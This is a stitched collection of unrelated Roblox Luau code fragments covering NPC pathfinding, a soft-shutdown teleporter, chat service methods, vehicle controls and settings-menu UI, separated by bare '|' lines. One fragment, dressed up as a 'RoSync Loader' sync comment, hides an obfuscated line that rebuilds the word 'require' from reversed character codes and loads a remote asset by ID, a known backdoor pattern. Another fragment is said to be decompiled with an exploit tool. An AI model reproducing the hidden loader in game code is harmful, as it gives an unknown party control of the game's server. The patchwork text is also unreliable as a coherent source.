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-- Function to handle player character added
|
local function onCharacterAdded(character)
local humanoid = character:WaitForChild("Humanoid")
local previousPosition = humanoid.RootPart.Position
local isFalling = false
-- Listen for character state changes
humanoid.StateChanged:Connect(function(oldState, newState)
if newState == Enum.HumanoidStateType.Freefall then
isFalling = true
previousPosition = humanoid.RootPart.Position
elseif oldState == Enum.HumanoidStateType.Freefall and newState ~= Enum.HumanoidStateType.Freefall then
if isFalling then
isFalling = false
handlePlayerFalling(game.Players:GetPlayerFromCharacter(character), humanoid.RootPart.Position, previousPosition)
end
end
end)
end
|
--[=[
Returns a Service object which is a reflection of the remote objects
within the Client table of the given service. Throws an error if the
service is not found.
If a service's Client table contains RemoteSignals and/or RemoteProperties,
these values are reflected as
[ClientRemoteSignals](https://sleitnick.github.io/RbxUtil/api/ClientRemoteSignal) and
[ClientRemoteProperties](https://sleitnick.github.io/RbxUtil/api/ClientRemoteProperty).
```lua
-- Server-side service creation:
local MyService = Knit.CreateService {
Name = "MyService";
Client = {
MySignal = Knit.CreateSignal();
MyProperty = Knit.CreateProperty("Hello");
};
}
function MyService:AddOne(player, number)
return number + 1
end
-------------------------------------------------
-- Client-side service reflection:
local MyService = Knit.GetService("MyService")
-- Call a method:
local num = MyService:AddOne(5) --> 6
-- Fire a signal to the server:
MyService.MySignal:Fire("Hello")
-- Listen for signals from the server:
MyService.MySignal:Connect(function(message)
print(message)
end)
-- Observe the initial value and changes to properties:
MyService.MyProperty:Observe(function(value)
print(value)
end)
```
:::caution
Services are only exposed to the client if the service has remote-based
content in the Client table. If not, the service will not be visible
to the client. `KnitClient.GetService` will only work on services that
expose remote-based content on their Client tables.
:::
]=]
|
function KnitClient.GetService(serviceName: string): Service
local service = services[serviceName]
if service then
return service
end
assert(started, "Cannot call GetService until Knit has been started")
assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName))
return BuildService(serviceName)
end
|
--
|
h = script.Parent.Parent:WaitForChild("Humanoid")
pathService = game:GetService("PathfindingService")
targetV = script.Parent:WaitForChild("Target")
function closestTargetAndPath()
local humanoids = {}
if targetNPCs then
local function recurse(o)
for _,obj in pairs(o:GetChildren()) do
if obj:IsA("Model") then
if obj:findFirstChild("Humanoid") and obj:findFirstChild("Torso") and obj.Humanoid ~= h and obj.Humanoid.Health > 0 and not obj:findFirstChild("ForceField") then
table.insert(humanoids,obj.Humanoid)
end
end
recurse(obj)
end
end
recurse(workspace)
else
for _,v in pairs(game.Players:GetPlayers()) do
if v.Character and v.Character:findFirstChild("HumanoidRootPart") and v.Character:findFirstChild("Humanoid") and v.Character.Humanoid.Health > 0 and not v:findFirstChild("ForceField") then
table.insert(humanoids,v.Character.Humanoid)
end
end
end
local closest,path,dist
for _,humanoid in pairs(humanoids) do
local myPath = pathService:ComputeRawPathAsync(h.Torso.Position,humanoid.Torso.Position,500)
if myPath.Status ~= Enum.PathStatus.FailFinishNotEmpty then
-- Now that we have a successful path, we need to figure out how far we need to actually travel to reach this point.
local myDist = 0
local previous = h.Torso.Position
for _,point in pairs(myPath:GetPointCoordinates()) do
myDist = myDist + (point-previous).magnitude
previous = point
end
if not dist or myDist < dist then -- if true, this is the closest path so far.
closest = humanoid
path = myPath
dist = myDist
end
end
end
return closest,path
end
function goToPos(loc)
h:MoveTo(loc)
local distance = (loc-h.Torso.Position).magnitude
local start = tick()
while distance > 100 do
if tick()-start > distance/h.WalkSpeed then -- Something may have gone wrong. Just break.
break
end
distance = (loc-h.Torso.Position).magnitude
wait()
end
end
while wait() do
local target,path = closestTargetAndPath()
local didBreak = false
local targetStart
if target and h.Torso then
targetV.Value = target
targetStart = target.Torso.Position
roaming = false
local previous = h.Torso.Position
local points = path:GetPointCoordinates()
local s = #points > 1 and 2 or 1
for i = s,#points do
local point = points[i]
if didBreak then
break
end
if target and target.Torso and target.Health > 0 then
if (target.Torso.Position-targetStart).magnitude < 1.5 then
local pos = previous:lerp(point,.5)
local moveDir = ((pos - h.Torso.Position).unit * 2)
goToPos(previous:lerp(point,.5))
previous = point
end
else
didBreak = true
break
end
end
else
targetV.Value = nil
end
if not didBreak and targetStart then
goToPos(targetStart)
end
end
|
-- Helper function for Determinant of 3x3, not in CameraUtils for performance reasons
|
local function Det3x3(a,b,c,d,e,f,g,h,i)
return (a*(e*i-f*h)-b*(d*i-f*g)+c*(d*h-e*g))
end
|
--[[
SoftShutdown 1.2
Author: Merely
This systesm lets you shut down servers without losing a bunch of players.
When game.OnClose is called, the script teleports everyone in the server
into a reserved server.
When the reserved servers start up, they wait a few seconds, and then
send everyone back into the main place.
I added wait() in a couple of places because if you don't, everyone will spawn into
their own servers with only 1 player.
--]]
|
local TeleportService = game:GetService("TeleportService")
local Players = game:GetService("Players")
if (game.VIPServerId ~= "" and game.VIPServerOwnerId == 0) then
-- this is a reserved server without a VIP server owner
local m = Instance.new("Message")
m.Text = "This is a temporary lobby. Teleporting back in a moment."
m.Parent = workspace
local waitTime = 5
Players.PlayerAdded:connect(function(player)
wait(waitTime)
waitTime = waitTime / 2
TeleportService:Teleport(game.PlaceId, player)
end)
for _,player in pairs(Players:GetPlayers()) do
TeleportService:Teleport(game.PlaceId, player)
wait(waitTime)
waitTime = waitTime / 2
end
else
game:BindToClose(function()
if (#Players:GetPlayers() == 0) then
return
end
if (game.JobId == "") then
-- Offline
return
end
local m = Instance.new("Message")
m.Text = "Rebooting servers for update. Please wait"
m.Parent = workspace
wait(2)
local reservedServerCode = TeleportService:ReserveServer(game.PlaceId)
for _,player in pairs(Players:GetPlayers()) do
TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
end
Players.PlayerAdded:connect(function(player)
TeleportService:TeleportToPrivateServer(game.PlaceId, reservedServerCode, { player })
end)
while (#Players:GetPlayers() > 0) do
wait(1)
end
-- done
end)
end
|
-------- CONFIG
-- ENABLERS (do not touch yet)
|
local Popups_Enabled = true -- Enables popups. (refer to "Instructions" for installation)
local Sequential_Indicators = false -- Enables sequential indicators. (refer to "Instructions" for installation)
local Sequential_Segments = 3 -- How many segments your indicators use. (don't use if Sequential_Indicators is false)
local Trunk_Lights = false -- Enables rear, brake, and reverse lights on trunk. (they will still work inside of the main model)
local Plate_Lights = false -- Enables license plate lights.
local Interior_Lights = false -- Enables interior lights. (Not Working Yet)
local Door_Functionality = false -- (USE ONLY IF YOU HAVE OPENING DOORS, including trunk, any kind of door in misc **trunk no working yet)
local Mirror_Indicators = false --Enables indicators on mirrors. (Not Working yet)
local Dashboard_Indicators = false -- Enables dashboard indicators. (refer to "Instrucitons" for setup) (Not Working Yet)
|
--Set up equipped and unequipped event.
|
Tool.Equipped:Connect(function(NewMouse)
if not Equipped then
Equipped = true
CurrentMouse = NewMouse
UpdateIcon()
--Create the local equip sound.
LocalEquipSound = EquipSound:Clone()
LocalEquipSound.Parent = Handle
LocalEquipSound:Play()
EquipSound.Volume = 0
EquipSound:Stop()
--Create the local reload sound.
LocalReloadSound = ReloadSound:Clone()
LocalReloadSound.Parent = Handle
ReloadSound.Volume = 0
ReloadSound:Stop()
end
end)
Tool.Unequipped:Connect(function()
if Equipped then
Equipped = false
CurrentHandRocket = nil
if CurrentAnimation then CurrentAnimation:Stop() end
--Remove the local sounds.
if LocalEquipSound then
LocalEquipSound:Stop()
LocalEquipSound:Destroy()
EquipSound.Volume = EquipVolume
end
if LocalReloadSound then
LocalReloadSound:Stop()
LocalReloadSound:Destroy()
ReloadSound.Volume = ReloadVolume
end
end
end)
Tool:GetPropertyChangedSignal("Enabled"):Connect(UpdateIcon)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 240 ,
spInc = 20 , -- Increment between labelled notches
},
}
|
--////////////////////////////// Methods
--//////////////////////////////////////
|
local methods = {}
methods.__index = methods
function methods:AddChannel(channelName, autoJoin)
if (self.ChatChannels[channelName:lower()]) then
error(string.format("Channel %q alrady exists.", channelName))
end
local function DefaultChannelCommands(fromSpeaker, message)
if (message:lower() == "/leave") then
local channel = self:GetChannel(channelName)
local speaker = self:GetSpeaker(fromSpeaker)
if (channel and speaker) then
if (channel.Leavable) then
speaker:LeaveChannel(channelName)
local msg = ChatLocalization:FormatMessageToSend(
"GameChat_ChatService_YouHaveLeftChannel",
string.format("You have left channel '%s'", channelName),
"RBX_NAME",
channelName)
speaker:SendSystemMessage(msg, "System")
else
speaker:SendSystemMessage(ChatLocalization:FormatMessageToSend("GameChat_ChatService_CannotLeaveChannel","You cannot leave this channel."), channelName)
end
end
return true
end
return false
end
local channel = ChatChannel.new(self, channelName)
self.ChatChannels[channelName:lower()] = channel
channel:RegisterProcessCommandsFunction("default_commands", DefaultChannelCommands, ChatConstants.HighPriority)
local success, err = pcall(function() self.eChannelAdded:Fire(channelName) end)
if not success and err then
print("Error addding channel: " ..err)
end
if autoJoin ~= nil then
channel.AutoJoin = autoJoin
if autoJoin then
for _, speaker in pairs(self.Speakers) do
speaker:JoinChannel(channelName)
end
end
end
return channel
end
function methods:RemoveChannel(channelName)
if (self.ChatChannels[channelName:lower()]) then
local n = self.ChatChannels[channelName:lower()].Name
self.ChatChannels[channelName:lower()]:InternalDestroy()
self.ChatChannels[channelName:lower()] = nil
local success, err = pcall(function() self.eChannelRemoved:Fire(n) end)
if not success and err then
print("Error removing channel: " ..err)
end
else
warn(string.format("Channel %q does not exist.", channelName))
end
end
function methods:GetChannel(channelName)
return self.ChatChannels[channelName:lower()]
end
function methods:AddSpeaker(speakerName)
if (self.Speakers[speakerName:lower()]) then
error("Speaker \"" .. speakerName .. "\" already exists!")
end
local speaker = Speaker.new(self, speakerName)
self.Speakers[speakerName:lower()] = speaker
local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
if not success and err then
print("Error adding speaker: " ..err)
end
return speaker
end
function methods:InternalUnmuteSpeaker(speakerName)
for channelName, channel in pairs(self.ChatChannels) do
if channel:IsSpeakerMuted(speakerName) then
channel:UnmuteSpeaker(speakerName)
end
end
end
function methods:RemoveSpeaker(speakerName)
if (self.Speakers[speakerName:lower()]) then
local n = self.Speakers[speakerName:lower()].Name
self:InternalUnmuteSpeaker(n)
self.Speakers[speakerName:lower()]:InternalDestroy()
self.Speakers[speakerName:lower()] = nil
local success, err = pcall(function() self.eSpeakerRemoved:Fire(n) end)
if not success and err then
print("Error removing speaker: " ..err)
end
else
warn("Speaker \"" .. speakerName .. "\" does not exist!")
end
end
function methods:GetSpeaker(speakerName)
return self.Speakers[speakerName:lower()]
end
function methods:GetSpeakerByUserOrDisplayName(speakerName)
local speakerByUserName = self.Speakers[speakerName:lower()]
if speakerByUserName then
return speakerByUserName
end
for _, potentialSpeaker in pairs(self.Speakers) do
local player = potentialSpeaker:GetPlayer()
if player and player.DisplayName:lower() == speakerName:lower() then
return potentialSpeaker
end
end
end
function methods:GetChannelList()
local list = {}
for i, channel in pairs(self.ChatChannels) do
if (not channel.Private) then
table.insert(list, channel.Name)
end
end
return list
end
function methods:GetAutoJoinChannelList()
local list = {}
for i, channel in pairs(self.ChatChannels) do
if channel.AutoJoin then
table.insert(list, channel)
end
end
return list
end
function methods:GetSpeakerList()
local list = {}
for i, speaker in pairs(self.Speakers) do
table.insert(list, speaker.Name)
end
return list
end
function methods:SendGlobalSystemMessage(message)
for i, speaker in pairs(self.Speakers) do
speaker:SendSystemMessage(message, nil)
end
end
function methods:RegisterFilterMessageFunction(funcId, func, priority)
if self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' already exists", funcId))
end
self.FilterMessageFunctions:AddFunction(funcId, func, priority)
end
function methods:FilterMessageFunctionExists(funcId)
return self.FilterMessageFunctions:HasFunction(funcId)
end
function methods:UnregisterFilterMessageFunction(funcId)
if not self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' does not exists", funcId))
end
self.FilterMessageFunctions:RemoveFunction(funcId)
end
function methods:RegisterProcessCommandsFunction(funcId, func, priority)
if self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' already exists", funcId))
end
self.ProcessCommandsFunctions:AddFunction(funcId, func, priority)
end
function methods:ProcessCommandsFunctionExists(funcId)
return self.ProcessCommandsFunctions:HasFunction(funcId)
end
function methods:UnregisterProcessCommandsFunction(funcId)
if not self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' does not exist", funcId))
end
self.ProcessCommandsFunctions:RemoveFunction(funcId)
end
local LastFilterNoficationTime = 0
local LastFilterIssueTime = 0
local FilterIssueCount = 0
function methods:InternalNotifyFilterIssue()
if (tick() - LastFilterIssueTime) > FILTER_THRESHOLD_TIME then
FilterIssueCount = 0
end
FilterIssueCount = FilterIssueCount + 1
LastFilterIssueTime = tick()
if FilterIssueCount >= FILTER_NOTIFCATION_THRESHOLD then
if (tick() - LastFilterNoficationTime) > FILTER_NOTIFCATION_INTERVAL then
LastFilterNoficationTime = tick()
local systemChannel = self:GetChannel("System")
if systemChannel then
systemChannel:SendSystemMessage(
ChatLocalization:FormatMessageToSend(
"GameChat_ChatService_ChatFilterIssues",
"The chat filter is currently experiencing issues and messages may be slow to appear."
),
errorExtraData
)
end
end
end
end
local StudioMessageFilteredCache = {}
|
--- Creates callbacks and sets up initial state.
|
function ScopeHUD:init(props)
self.Maid = Maid.new()
self.LayoutRef = Roact.createRef()
self.ContainerSize, self.UpdateContainerSize = Roact.createBinding(UDim2.new(0, 0, 0, 38/2))
--- Processes input, listens for hover start
function self.OnInputBegin(rbx, Input, WasProcessed)
if WasProcessed then
return
end
-- Set hovering state
if (Input.UserInputType.Name == 'MouseMovement') or
(Input.UserInputType.Name == 'Touch') then
self:setState({
IsHovering = true
})
end
end
--- Processes input, listens for hover end
function self.OnInputEnd(rbx, Input, WasProcessed)
if (Input.UserInputType.Name == 'MouseMovement') or
(Input.UserInputType.Name == 'Touch') then
self:setState({
IsHovering = false
})
end
end
--- Processes requests from buttons to set scope
function self.SetScopeFromButton(NewScope)
self.props.Core.Targeting:SetScope(NewScope)
end
-- Set initial state
self:UpdateTargetingState()
self:setState({
IsHovering = false;
IsToolModeEnabled = (self.props.Core.Mode == 'Tool')
})
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;
local u1 = Random.new();
function CreatePet()
local v2 = v1.Save.Get();
if not v2 then
return;
end;
local l__Pets__3 = v2.Pets;
if #l__Pets__3 <= 0 then
return;
end;
local v4 = l__Pets__3[u1:NextInteger(1, #l__Pets__3)];
local v5 = v1.Directory.Pets[v4.id];
local v6 = script.petFrame:Clone();
v6.pet.Image = v4.dm and v5.darkMatterThumbnail or (v4.g and v5.goldenThumbnail or v5.thumbnail);
if v4.r then
v1.GUIFX.Rainbow(v6.pet, "ImageColor3", 3);
end;
v6.Position = UDim2.new(-1, 0, 0, 0);
v6.Parent = script.Parent;
v1.Functions.FastTween(v6, {
Position = UDim2.new(1, 0, 0, 0)
}, { 10, "Linear" }).Completed:Connect(function()
v6:Destroy();
end);
coroutine.wrap(function()
while true do
if v6 then
else
break;
end;
if v6.Parent then
else
break;
end;
v1.Functions.FastTween(v6.pet, {
Position = UDim2.new(0, 0, 0.2, 0)
}, { 1, "Sine", "InOut" }).Completed:Wait();
v1.Functions.FastTween(v6.pet, {
Position = UDim2.new(0, 0, 0, 0)
}, { 1, "Sine", "InOut" }).Completed:Wait();
end;
end)();
end;
while true do
CreatePet();
v1.Functions.Wait(1);
end;
|
--//Settings
|
BlurAmount = 15 -- Change this to increase or decrease the blur size
|
--[[
Function called upon entering the state
]]
|
function PlayerFinished.enter(stateMachine, playerComponent)
wait(3)
if stateMachine.can("startSpectating") then
stateMachine:startSpectating()
end
end
|
--[[ Constants ]]
|
--
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local movementKeys = {
[Enum.KeyCode.W] = true;
[Enum.KeyCode.A] = true;
[Enum.KeyCode.S] = true;
[Enum.KeyCode.D] = true;
[Enum.KeyCode.Up] = true;
[Enum.KeyCode.Down] = true;
}
local Player = Players.LocalPlayer
local PlayerScripts = Player.PlayerScripts
local TouchJump = nil
local SHOW_PATH = true
local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList
local CurrentSeatPart = nil
local DrivingTo = nil
local XZ_VECTOR3 = Vector3.new(1,0,1)
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local ZERO_VECTOR2 = Vector2.new(0,0)
local BindableEvent_OnFailStateChanged = nil
if UserInputService.TouchEnabled then
|
--[END]]
--[[ Last synced 4/22/2021 03:59 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--//Shifting//-
|
if key == "j" then
if carSeat.Values2.DTR.Value == true then
carSeat.Values2.DTR.Value = false
else
carSeat.Values2.DTR.Value = true
end
elseif key == "g" then
if carSeat.Values2.Lights.Value == true then
carSeat.Values2.Lights.Value = false
else
carSeat.Values2.Lights.Value = true
end
elseif key == "-" then
if carSeat.Values2.Emblems.Value == true then
carSeat.Values2.Emblems.Value = false
else
carSeat.Values2.Emblems.Value = true
end
elseif key == "m" then
for index, child in pairs(carSeat.Body.RipEars:GetChildren()) do
child:Play()
end
elseif key == "h" then
for index, child in pairs(carSeat.Body.Horn:GetChildren()) do
child:Play()
end
elseif key == "c" then
if script.Parent.IsOn.Value == true then
script.Parent.IsOn.Value = false
carSeat.Values2.Lights.Value = false
carSeat.Values2.DTR.Value = false
carSeat.Values2.Halo.Value = false
carSeat.Body.RLFRONT.R1.Light.Enabled = false
carSeat.Body.RLFRONT.R2.Light.Enabled = false
carSeat.Body.RLREAR.R1.Light.Enabled = false
carSeat.Body.RLREAR.R2.Light.Enabled = false
for index, child in pairs(carSeat.Body.ExhaustSmoke.E1:GetChildren()) do
child.Enabled = false
end
for index, child in pairs(carSeat.Body.ExhaustSmoke.E2:GetChildren()) do
child.Enabled = false
end
for index, child in pairs(carSeat.Body.ExhaustSmoke.E3:GetChildren()) do
child.Enabled = false
end
for index, child in pairs(carSeat.Body.ExhaustSmoke.E4:GetChildren()) do
child.Enabled = false
end
carSeat.DriveSeat.Start1:Stop()
carSeat.DriveSeat.Start2:Stop()
carSeat.DriveSeat.Rev:Stop()
carSeat.DriveSeat.Rev2:Stop()
carSeat.DriveSeat.Rev3:Stop()
carSeat.DriveSeat.Idle:Stop()
else
carSeat.Values2.Lights.Value = true
carSeat.Values2.DTR.Value = true
carSeat.Values2.Halo.Value = true
carSeat.Values2.Emblems.Value = true
carSeat.Body.RLFRONT.R1.Light.Enabled = true
carSeat.Body.RLFRONT.R2.Light.Enabled = true
carSeat.Body.RLREAR.R1.Light.Enabled = true
carSeat.Body.RLREAR.R2.Light.Enabled = true
carSeat.DriveSeat.Start1:Play()
carSeat.DriveSeat.Start2:Play()
for index, child in pairs(carSeat.Body.ExhaustSmoke.E1:GetChildren()) do
child.Enabled = true
for index, child in pairs(carSeat.Body.ExhaustSmoke.E2:GetChildren()) do
child.Enabled = true
end
end
wait(5.33)
script.Parent.IsOn.Value = true
carSeat.DriveSeat.Idle:Play()
wait(0.5)
carSeat.DriveSeat.Rev:Play()
carSeat.DriveSeat.Rev2:Play()
carSeat.DriveSeat.Rev3:Play()
for index, child in pairs(carSeat.Body.ExhaustSmoke.E1:GetChildren()) do
child.Enabled = false
end
for index, child in pairs(carSeat.Body.ExhaustSmoke.E2:GetChildren()) do
child.Enabled = false
end
for index, child in pairs(carSeat.Body.ExhaustSmoke.E3:GetChildren()) do
child.Enabled = true
end
for index, child in pairs(carSeat.Body.ExhaustSmoke.E4:GetChildren()) do
child.Enabled = true
end
wait(3)
end
end
|
-- This is called when settings menu is opened
|
function BaseCamera:ResetInputStates()
self.isRightMouseDown = false
self.isMiddleMouseDown = false
self:OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters
if UserInputService.TouchEnabled then
--[[menu opening was causing serious touch issues
this should disable all active touch events if
they're active when menu opens.]]
for inputObject in pairs(self.fingerTouches) do
self.fingerTouches[inputObject] = nil
end
self.panBeginLook = nil
self.startPos = nil
self.lastPos = nil
self.userPanningTheCamera = false
self.startingDiff = nil
self.pinchBeginZoom = nil
self.numUnsunkTouches = 0
end
end
function BaseCamera:GetGamepadPan(name, state, input)
if input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
|
----------- CLASS DECLARATION --------------
|
local function CreateSignal()
local sig = {}
local mSignaler = Instance.new('BindableEvent')
local mArgData = nil
local mArgDataCount = nil
function sig:fire(...)
mArgData = {...}
mArgDataCount = select('#', ...)
mSignaler:Fire()
end
function sig:connect(f)
if not f then error("connect(nil)", 2) end
return mSignaler.Event:Connect(function()
f(unpack(mArgData, 1, mArgDataCount))
end)
end
function sig:wait()
mSignaler.Event:wait()
if not mArgData then
error("Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.")
end
return unpack(mArgData, 1, mArgDataCount)
end
return sig
end
local function getViewportSize()
while not workspace.CurrentCamera do
workspace.Changed:wait()
end
-- ViewportSize is initally set to 1, 1 in Camera.cpp constructor.
-- Also check against 0, 0 incase this is changed in the future.
while workspace.CurrentCamera.ViewportSize == Vector2.new(0,0) or
workspace.CurrentCamera.ViewportSize == Vector2.new(1,1) do
workspace.CurrentCamera.Changed:wait()
end
return workspace.CurrentCamera.ViewportSize
end
local function isSmallTouchScreen()
local viewportSize = getViewportSize()
return UserInputService.TouchEnabled and (viewportSize.Y < 500 or viewportSize.X < 700)
end
local function isPortrait()
local viewport = getViewportSize()
return viewport.Y > viewport.X
end
local function isTenFootInterface()
return tenFootInterfaceEnabled
end
local function usesSelectedObject()
--VR does not use selected objects (in the same way as gamepad)
if VRService.VREnabled then return false end
--Touch does not use selected objects unless there's also a gamepad
if UserInputService.TouchEnabled and not UserInputService.GamepadEnabled then return false end
--PC with gamepad, console... does use selected objects
return true
end
local function isPosOverGui(pos, gui, debug) -- does not account for rotation
local ax, ay = gui.AbsolutePosition.x, gui.AbsolutePosition.y
local sx, sy = gui.AbsoluteSize.x, gui.AbsoluteSize.y
local bx, by = ax+sx, ay+sy
return pos.x > ax and pos.x < bx and pos.y > ay and pos.y < by
end
local function isPosOverGuiWithClipping(pos, gui) -- isPosOverGui, accounts for clipping and visibility, does not account for rotation
if not isPosOverGui(pos, gui) then
return false
end
local clipping = false
local check = gui
while true do
if check == nil or (not check:IsA'GuiObject' and not check:IsA'LayerCollector') then
clipping = true
if check and check:IsA'CoreGui' then
clipping = false
end
break
end
if check:IsA'GuiObject' and not check.Visible then
clipping = true
break
end
if check:IsA'LayerCollector' or check.ClipsDescendants then
if not isPosOverGui(pos, check) then
clipping = true
break
end
end
check = check.Parent
end
return not clipping
end
local function areGuisIntersecting(a, b) -- does not account for rotation
local aax, aay = a.AbsolutePosition.x, a.AbsolutePosition.y
local asx, asy = a.AbsoluteSize.x, a.AbsoluteSize.y
local abx, aby = aax+asx, aay+asy
local bax, bay = b.AbsolutePosition.x, b.AbsolutePosition.y
local bsx, bsy = b.AbsoluteSize.x, b.AbsoluteSize.y
local bbx, bby = bax+bsx, bay+bsy
local intersectingX = aax < bbx and abx > bax
local intersectingY = aay < bby and aby > bay
local intersecting = intersectingX and intersectingY
return intersecting
end
local function isGuiVisible(gui, debug) -- true if any part of the gui is visible on the screen, considers clipping, does not account for rotation
local clipping = false
local check = gui
while true do
if check == nil or not check:IsA'GuiObject' and not check:IsA'LayerCollector' then
clipping = true
if check and check:IsA'CoreGui' then
clipping = false
end
break
end
if check:IsA'GuiObject' and not check.Visible then
clipping = true
break
end
if check:IsA'LayerCollector' or check.ClipsDescendants then
if not areGuisIntersecting(check, gui) then
clipping = true
break
end
end
check = check.Parent
end
return not clipping
end
local function addHoverState(button, instance, onNormalButtonState, onHoverButtonState)
local function onNormalButtonStateCallback()
if button.Active then
onNormalButtonState(instance)
end
end
local function onHoverButtonStateCallback()
if button.Active then
onHoverButtonState(instance)
end
end
button.MouseEnter:Connect(onHoverButtonStateCallback)
button.SelectionGained:Connect(onHoverButtonStateCallback)
button.MouseLeave:Connect(onNormalButtonStateCallback)
button.SelectionLost:Connect(onNormalButtonStateCallback)
onNormalButtonState(instance)
end
local function addOnResizedCallback(key, callback)
onResizedCallbacks[key] = callback
callback(getViewportSize(), isPortrait())
end
local gamepadSet = {
[Enum.UserInputType.Gamepad1] = true;
[Enum.UserInputType.Gamepad2] = true;
[Enum.UserInputType.Gamepad3] = true;
[Enum.UserInputType.Gamepad4] = true;
[Enum.UserInputType.Gamepad5] = true;
[Enum.UserInputType.Gamepad6] = true;
[Enum.UserInputType.Gamepad7] = true;
[Enum.UserInputType.Gamepad8] = true;
}
local function MakeDefaultButton(name, size, clickFunc, pageRef, hubRef)
local SelectionOverrideObject = Util.Create'ImageLabel'
{
Image = "",
BackgroundTransparency = 1,
};
local button = Util.Create'ImageButton'
{
Name = name .. "Button",
Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButton.png",
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(8,6,46,44),
AutoButtonColor = false,
BackgroundTransparency = 1,
Size = size,
ZIndex = 2,
SelectionImageObject = SelectionOverrideObject
};
local enabled = Util.Create'BoolValue'
{
Name = 'Enabled',
Parent = button,
Value = true
}
if clickFunc then
button.MouseButton1Click:Connect(function()
clickFunc(gamepadSet[UserInputService:GetLastInputType()] or false)
end)
end
local function isPointerInput(inputObject)
return inputObject.UserInputType == Enum.UserInputType.MouseMovement or inputObject.UserInputType == Enum.UserInputType.Touch
end
local rowRef = nil
local function setRowRef(ref)
rowRef = ref
end
local function selectButton()
local hub = hubRef
if hub == nil then
if pageRef then
hub = pageRef.HubRef
end
end
if (hub and hub.Active) or hub == nil then
button.Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButtonSelected.png"
local scrollTo = button
if rowRef then
scrollTo = rowRef
end
if hub then
hub:ScrollToFrame(scrollTo)
end
end
end
local function deselectButton()
button.Image = "rbxasset://textures/ui/Settings/MenuBarAssets/MenuButton.png"
end
button.InputBegan:Connect(function(inputObject)
if button.Selectable and isPointerInput(inputObject) then
selectButton()
end
end)
button.InputEnded:Connect(function(inputObject)
if button.Selectable and GuiService.SelectedCoreObject ~= button and isPointerInput(inputObject) then
deselectButton()
end
end)
button.SelectionGained:Connect(function()
selectButton()
end)
button.SelectionLost:Connect(function()
deselectButton()
end)
local guiServiceCon = GuiService.Changed:Connect(function(prop)
if prop ~= "SelectedCoreObject" then return end
if not usesSelectedObject() then return end
if GuiService.SelectedCoreObject == nil or GuiService.SelectedCoreObject ~= button then
deselectButton()
return
end
if button.Selectable then
selectButton()
end
end)
return button, setRowRef
end
local function MakeButton(name, text, size, clickFunc, pageRef, hubRef)
local button, setRowRef = MakeDefaultButton(name, size, clickFunc, pageRef, hubRef)
local textLabel = Util.Create'TextLabel'
{
Name = name .. "TextLabel",
BackgroundTransparency = 1,
BorderSizePixel = 0,
Size = UDim2.new(1, 0, 1, -8),
Position = UDim2.new(0,0,0,0),
TextColor3 = Color3.fromRGB(255,255,255),
TextYAlignment = Enum.TextYAlignment.Center,
Font = Enum.Font.SourceSansBold,
TextSize = 24,
Text = text,
TextScaled = true,
TextWrapped = true,
ZIndex = 2,
Parent = button
};
local constraint = Instance.new("UITextSizeConstraint",textLabel)
if isSmallTouchScreen() then
textLabel.TextSize = 18
elseif isTenFootInterface() then
textLabel.TextSize = 36
end
constraint.MaxTextSize = textLabel.TextSize
return button, textLabel, setRowRef
end
local function MakeImageButton(name, image, size, imageSize, clickFunc, pageRef, hubRef)
local button, setRowRef = MakeDefaultButton(name, size, clickFunc, pageRef, hubRef)
local imageLabel = Util.Create'ImageLabel'
{
Name = name .. "ImageLabel",
BackgroundTransparency = 1,
BorderSizePixel = 0,
Size = imageSize,
Position = UDim2.new(0.5, 0, 0.5, 0),
AnchorPoint = Vector2.new(0.5, 0.5),
Image = image,
ZIndex = 2,
Parent = button
};
return button, imageLabel, setRowRef
end
local function AddButtonRow(pageToAddTo, name, text, size, clickFunc, hubRef)
local button, textLabel, setRowRef = MakeButton(name, text, size, clickFunc, pageToAddTo, hubRef)
local row = Util.Create'Frame'
{
Name = name .. "Row",
BackgroundTransparency = 1,
Size = UDim2.new(1, 0, size.Y.Scale, size.Y.Offset),
Parent = pageToAddTo.Page
}
button.Parent = row
button.AnchorPoint = Vector2.new(1, 0)
button.Position = UDim2.new(1, -20, 0, 0)
return row, button, textLabel, setRowRef
end
local function CreateDropDown(dropDownStringTable, startPosition, settingsHub)
-------------------- CONSTANTS ------------------------
local DEFAULT_DROPDOWN_TEXT = "Choose One"
local SCROLLING_FRAME_PIXEL_OFFSET = 25
local SELECTION_TEXT_COLOR_NORMAL = Color3.fromRGB(178,178,178)
local SELECTION_TEXT_COLOR_NORMAL_VR = Color3.fromRGB(229,229,229)
local SELECTION_TEXT_COLOR_HIGHLIGHTED = Color3.fromRGB(255,255,255)
-------------------- VARIABLES ------------------------
local lastSelectedCoreObject = nil
-------------------- SETUP ------------------------
local this = {}
this.CurrentIndex = nil
local indexChangedEvent = Instance.new("BindableEvent")
indexChangedEvent.Name = "IndexChanged"
if type(dropDownStringTable) ~= "table" then
error("CreateDropDown dropDownStringTable (first arg) is not a table", 2)
return this
end
